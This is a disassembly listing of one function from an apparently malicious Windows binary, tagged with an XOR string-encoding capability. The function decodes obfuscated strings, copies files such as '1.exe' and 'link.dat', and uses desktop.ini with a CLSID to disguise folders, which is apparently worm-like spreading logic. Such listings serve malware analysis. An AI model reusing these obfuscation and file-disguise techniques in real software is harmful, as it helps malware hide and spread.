Function at 0x1002d7ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xeb4
mov edi, dword [esp + 0xec8]
movsd xmm0, qword [0x1004254a]
movsd qword [esp + 0x74], xmm0
movups xmm0, xmmword [str.desktop.ini]
movups xmmword [esp + 0x64], xmm0
lea eax, [esp + 0x89c]
push 0x208
push 0
push eax
call fcn.10031f20
add esp, 0xc
push edi
call fcn.10014eaa
cmp eax, 0xffffffff
jne 0x1002d83f
push 0
push edi
call fcn.10016ae8
push 7
push edi
call fcn.1001aafc
lea ebp, [esp + 0x694]
push 0x208
push 0
push ebp
call fcn.10031f20
add esp, 0xc
push edi
push ebp
call fcn.10002fb0
lea ebx, [esp + 0xcac]
mov word [ebx + 6], 0
mov dword [ebx], 0xefdc0031
xor dword [ebx + 2], 0xefddefdc
push ebx
push ebp
call fcn.10003084
push 0x1003fd72
push ebp
call fcn.10003084
push ebp
call fcn.10014eaa
cmp eax, 0xffffffff
jne 0x1002d8a4
push 0
push ebp
call fcn.10016ae8
push 7
push ebp
call fcn.1001aafc
lea ecx, [esp + 0x18]
call fcn.10013ddc
lea ecx, [esp + 8]
call fcn.10013ddc
lea ecx, [esp + 0x20]
call fcn.10013ddc
mov ecx, esp
call fcn.10013ddc
lea esi, [esp + 0x54]
mov ecx, esi
call fcn.10013ddc
mov ecx, esi
push edi
call fcn.10013e6e
lea eax, [esp + 0x64]
mov ecx, esi
push eax
call fcn.10014114
push dword [esi]
call fcn.10014eaa
cmp eax, 0xffffffff
jne 0x1002d913
push 0x5a
push str.CLSID88C6C381_2E85_11D0_94DE_444553540000
push ebx
call fcn.100318d0
add esp, 0xc
push ebx
push edi
call fcn.10028906
add esp, 8
push 0x1004a328
lea edi, [esp + 0x8a0]
push edi
call fcn.10002fb0
lea esi, [esp + 0x18]
mov ecx, esi
push ebp
call fcn.10013e6e
mov ecx, esi
push str.1.exe
call fcn.10014114
push dword [esi]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002d99d
cmp dword [esp + 0xecc], 1
jne 0x1002d9a9
push dword [esp + 0x18]
call fcn.10014bd8
add esp, 4
mov esi, eax
push edi
call fcn.10014bd8
add esp, 4
cmp esi, eax
je 0x1002d983
push dword [esp + 0x18]
call fcn.100034a8
push 0
push dword [esp + 0x1c]
push edi
call fcn.1001c796
push edi
push dword [esp + 0x1c]
call fcn.10028f9a
add esp, 8
test eax, eax
je 0x1002d9a9
push dword [esp + 0x18]
call fcn.100034a8
push 0
push dword [esp + 0x1c]
push edi
call fcn.1001c796
mov esi, 0x208
mov ebp, edi
xor edi, edi
push esi
push edi
push ebx
call fcn.10031f20
add esp, 0xc
lea eax, [esp + 0xaa4]
push esi
push edi
push eax
call fcn.10031f20
add esp, 0xc
lea eax, [esp + 0x48c]
push esi
push edi
push eax
call fcn.10031f20
add esp, 0xc
push 0x5c
push ebp
call fcn.100323bb
add esp, 8
test eax, eax
je 0x1002d9f6
mov word [eax + 2], 0
lea ecx, [esp + 8]
lea eax, [esp + 0x694]
push eax
call fcn.10013e6e
mov dword [esp + 0x294], 0xefcaef85
mov dword [esp + 0x298], 0xef8aef81
mov dword [esp + 0x29c], 0xefe8ef8b
mov word [esp + 0x2ba], 0
movaps xmm0, xmmword [0x100421c0]
movups xmmword [esp + 0x284], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x284], cx
inc eax
cmp eax, 0x1b
jne 0x1002da44
xor esi, esi
lea ebp, [esp + 0x284]
mov word [ebp + 0x36], si
lea ecx, [esp + 8]
push ebp
call fcn.10014114
lea eax, [esp + 0x89c]
push eax
push ebx
call fcn.10002fb0
mov dword [ebp + 0x10], 0xefcaef85
mov dword [ebp + 0x14], 0xef8aef81
mov dword [ebp + 0x18], 0xefe8ef8b
mov word [ebp + 0x36], si
movaps xmm0, xmmword [0x100421c0]
movups xmmword [ebp], xmm0
xor eax, eax
inc eax
mov edi, dword [esp + 0xec8]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x284], cx
inc eax
cmp eax, 0x1b
jne 0x1002daab
mov word [esp + 0x2ba], 0
push ebp
push ebx
call fcn.10003084
push dword [esp + 8]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002db32
cmp dword [esp + 0xecc], 1
jne 0x1002db3e
push dword [esp + 8]
call fcn.10014bd8
add esp, 4
mov esi, eax
push ebx
call fcn.10014bd8
add esp, 4
cmp esi, eax
je 0x1002db18
push dword [esp + 8]
call fcn.100034a8
push 0
push dword [esp + 0xc]
push ebx
call fcn.1001c796
push ebx
push dword [esp + 0xc]
call fcn.10028f9a
add esp, 8
test eax, eax
je 0x1002db3e
push dword [esp + 8]
call fcn.100034a8
push 0
push dword [esp + 0xc]
push ebx
call fcn.1001c796
push 0x208
push 0
push ebp
call fcn.10031f20
add esp, 0xc
push edi
push ebp
call fcn.10002fb0
lea edi, [esp + 0x7c]
mov word [edi + 6], 0
mov dword [edi], 0xefdc0032
xor dword [edi + 2], 0xefddefdc
push edi
push ebp
call fcn.10003084
push 0x1003fd72
push ebp
call fcn.10003084
push ebp
call fcn.10014eaa
cmp eax, 0xffffffff
jne 0x1002db91
push 0
push ebp
call fcn.10016ae8
push 7
push ebp
call fcn.1001aafc
lea ecx, [esp + 0x20]
push ebp
call fcn.10013e6e
mov dword [esp + 0x8c], 0xef90ef82
mov word [esp + 0x90], 0xefe5
mov word [esp + 0xa6], 0
movaps xmm0, xmmword [0x100421d0]
movups xmmword [esp + 0x7c], xmm0
xor eax, eax
inc eax
lea ebx, [esp + 0xaa4]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x7c], cx
inc eax
cmp eax, 0x15
jne 0x1002dbd8
xor esi, esi
mov word [esp + 0xa6], si
lea ecx, [esp + 0x20]
push edi
call fcn.10014114
call fcn.10023c26
push eax
push ebx
call fcn.10002fb0
mov dword [esp + 0x8c], 0xef90ef82
mov word [esp + 0x90], 0xefe5
mov word [esp + 0xa6], si
movaps xmm0, xmmword [0x100421d0]
movups xmmword [esp + 0x7c], xmm0
xor eax, eax
inc eax
lea ebp, [esp + 0x89c]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x7c], cx
inc eax
cmp eax, 0x15
jne 0x1002dc3c
mov word [esp + 0xa6], 0
push edi
push ebx
call fcn.10003084
push dword [esp + 0x20]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002dc76
cmp dword [esp + 0xecc], 1
jne 0x1002dc82
push 0
push dword [esp + 0x24]
push ebx
call fcn.1001c796
lea esi, [esp + 0x10]
mov ecx, esi
call fcn.10013ddc
mov ecx, esi
lea eax, [esp + 0x694]
push eax
call fcn.10013e6e
mov dword [esp + 0x8c], 0xef90ef82
mov word [esp + 0x90], 0xefe5
mov word [esp + 0xa6], 0
movaps xmm0, xmmword [0x100421e0]
movups xmmword [esp + 0x7c], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x7c], cx
inc eax
cmp eax, 0x15
jne 0x1002dcca
xor esi, esi
mov word [esp + 0xa6], si
lea ecx, [esp + 0x10]
push edi
call fcn.10014114
push 0x208
push 0
push edi
call fcn.10031f20
add esp, 0xc
call fcn.10023c26
push eax
push edi
call fcn.10002fb0
mov dword [esp + 0x38], 0xef90ef82
mov word [esp + 0x3c], 0xefe5
mov word [esp + 0x52], si
movaps xmm0, xmmword [0x100421e0]
movups xmmword [esp + 0x28], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x28], cx
inc eax
cmp eax, 0x15
jne 0x1002dd2e
lea ebx, [esp + 0x28]
mov word [ebx + 0x2a], 0
push ebx
push edi
call fcn.10003084
push dword [esp + 0x10]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002ddb2
cmp dword [esp + 0xecc], 1
jne 0x1002ddbe
push dword [esp + 0x10]
call fcn.10014bd8
add esp, 4
mov esi, eax
push edi
call fcn.10014bd8
add esp, 4
cmp esi, eax
je 0x1002dd98
push dword [esp + 0x10]
call fcn.100034a8
push 0
push dword [esp + 0x14]
push edi
call fcn.1001c796
push edi
push dword [esp + 0x14]
call fcn.10028f9a
add esp, 8
test eax, eax
je 0x1002ddbe
push dword [esp + 0x10]
call fcn.100034a8
push 0
push dword [esp + 0x14]
push edi
call fcn.1001c796
push ebp
lea edi, [esp + 0x490]
push edi
call fcn.10002fb0
mov dword [esp + 0x38], 0xef90ef82
mov word [esp + 0x3c], 0xefe5
mov word [esp + 0x52], 0
movaps xmm0, xmmword [0x100421f0]
movups xmmword [esp + 0x28], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x28], cx
inc eax
cmp eax, 0x15
jne 0x1002ddf1
xor esi, esi
mov word [esp + 0x52], si
push ebx
push edi
call fcn.10003084
mov ecx, esp
lea eax, [esp + 0x694]
push eax
call fcn.10013e6e
mov dword [esp + 0x38], 0xef90ef82
mov word [esp + 0x3c], 0xefe5
mov word [esp + 0x52], si
movaps xmm0, xmmword [0x100421f0]
movups xmmword [esp + 0x28], xmm0
xor eax, eax
inc eax
mov edi, dword [esp + 0xec8]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x28], cx
inc eax
cmp eax, 0x15
jne 0x1002de49
mov word [esp + 0x52], 0
mov esi, esp
mov ecx, esi
push ebx
call fcn.10014114
push dword [esi]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002df3c
push dword [esp]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002de9e
lea eax, [esp + 0x48c]
push eax
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002df62
push dword [esp]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002df75
lea eax, [esp + 0x48c]
push eax
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002df75
cmp dword [esp + 0xecc], 1
jne 0x1002df75
push dword [esp]
call fcn.10014bd8
add esp, 4
mov esi, eax
lea ebp, [esp + 0x48c]
push ebp
call fcn.10014bd8
add esp, 4
cmp esi, eax
je 0x1002df10
push dword [esp + 0x20]
call fcn.100034a8
push 0
push dword [esp + 0x24]
lea eax, [esp + 0xaac]
push eax
call fcn.1001c796
push ebp
push dword [esp + 4]
call fcn.10028f9a
add esp, 8
cmp eax, 3
je 0x1002e033
cmp eax, 2
lea ebp, [esp + 0x89c]
jne 0x1002df75
push dword [esp]
call fcn.100034a8
jmp 0x1002df52
lea eax, [esp + 0x48c]
push eax
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002de7b
push 0
push dword [esp + 4]
lea eax, [esp + 0x494]
push eax
jmp 0x1002df70
push 0
lea eax, [esp + 0x490]
push eax
push dword [esp + 8]
call fcn.1001c796
cmp dword [esp + 0xed0], 1
jne 0x1002df96
push dword [esp + 0xed4]
lea eax, [esp + 0x698]
push eax
call fcn.1002e052
add esp, 8
movzx eax, word [0x100425bc]
mov word [esp + 0x38], ax
movups xmm0, xmmword [str.link.dat]
movups xmmword [esp + 0x28], xmm0
lea esi, [esp + 0x5c]
mov ecx, esi
call fcn.10013ddc
mov ecx, esi
lea eax, [esp + 0x694]
push eax
call fcn.10013e6e
mov ecx, esi
push ebx
call fcn.10014114
push dword [esi]
call fcn.1002e40c
add esp, 4
push dword [esp + 0xecc]
push 0
push ebp
push edi
call fcn.1002cd74
add esp, 0x10
mov ecx, esi
call fcn.10013eba
lea ecx, [esp + 0x10]
call fcn.10013eba
lea ecx, [esp + 0x54]
call fcn.10013eba
mov ecx, esp
call fcn.10013eba
lea ecx, [esp + 0x20]
call fcn.10013eba
lea ecx, [esp + 8]
call fcn.10013eba
lea ecx, [esp + 0x18]
call fcn.10013eba
add esp, 0xeb4
pop esi
pop edi
pop ebx
pop ebp
ret
push ebp
call fcn.100034a8
push 0
push ebp
push dword [esp + 8]
call fcn.1001c796
lea ebp, [esp + 0x89c]
jmp 0x1002df75